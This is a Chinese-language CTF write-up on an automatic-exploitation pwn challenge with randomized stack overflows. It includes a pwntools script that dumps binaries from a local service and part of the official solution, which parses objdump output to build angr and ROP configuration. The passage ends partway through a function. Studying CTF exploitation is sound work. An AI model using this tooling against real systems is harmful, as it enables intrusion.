在本地搭了环境
相关的docker啥的官方给了
在github
搜一下就可
nc一下
先用相应脚本把程序拿出来
import re
import itertools
import string
import codecs
from hashlib import sha256
from pwn import remote, context
import os
import itertools
import datetime
context.log_level = 'debug'
def exp():
sh = remote('127.0.0.1' , "9997")
sh.recvuntil("data info------------------\n")
d = sh.recvuntil("Hi")
d = d[:-3]
print d
with open('out.data', 'wb') as f:
f.write(d)
os.system('base64 -d out.data > 1.elf')
sh.interactive()
while(1):
exp()
多拿几个
看一下保护
没有canary、pie、relro
拿到的文件丢到ida看一下
他让我们运行这个程序,后面带上输入
输入的作用就是作为参数,进去过约束
然后直接就是一个栈溢出。
程序简直不要太简单
我们多来几个文件试试看他在什么地方随机
四个程序
这就显而易见了嘛
约束当然是随机的
栈溢出的长度也是随机的
payload最大长度也是随机的,不过这个应该影响不大。
额外提一句时间是3s
我们一起来瞅瞅官方给的wp咋写的。
get_addr.py
import commands
#封装了一个执行命令行命令的函数
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
#在字符串中间找一个字符串
def get_mid_str(data, b_str, e_str, s_pos = 0):
b_pos = data.find(b_str, s_pos)
if b_pos == -1:
return ""
b_pos += len(b_str)
e_pos = data.find(e_str, b_pos)
data = data[b_pos:e_pos]
#print s_pos, b_pos, e_pos
#print data
while b_str in data:
data = data[data.find(b_str)+len(b_str):]
#print data
return data
#一个写文件操作
def write_file(filename, data, mode = "wb"):
file_w = open(filename, mode)
file_w.write(data)
file_w.close()
#对那个dump下来的二进制文件进行处理
#把解题要用的相关信息拿出来丢在angr_deal.conf文件中
def do_angr_conf():
tmp_file_asm = do_command("objdump -d tmp_file.bin")
b_pos = tmp_file_asm.find("<__libc_start_main@plt>\n")
main_addr = get_mid_str(tmp_file_asm, " mov $0x", ",%rdi\n", b_pos - 0x80)
#print main_addr
b_pos = tmp_file_asm.find("%s:"%main_addr)
b_pos = tmp_file_asm.find(" <atoi@plt>\n", b_pos)
deal_func_addr = get_mid_str(tmp_file_asm, "callq ", " <", b_pos)
print "start_addr =>", deal_func_addr
b_pos = tmp_file_asm.find("%s:"%deal_func_addr)
s_b_pos = tmp_file_asm.find(" callq ", b_pos - 0x100)
success = get_mid_str(tmp_file_asm, "$0x1,%eax\n ", ": ", s_b_pos - 0x80)
print "success =>", success
f_b_pos = tmp_file_asm.find("leave", b_pos)
fail = get_mid_str(tmp_file_asm, "$0x0,%eax\n ", ": ", f_b_pos - 0x80)
print "fail =>", fail
data_write = ""
data_write += deal_func_addr + "\n"
data_write += success + "\n"
data_write += fail + "\n"
write_file("angr_deal.conf", data_write)
#进行一些pwn用的设置
#具体来说就是先ROPgadget直接搜要用的gadget
#然后把rop链写在do_pwn_next.conf文件里面一会用
def do_pwn_conf(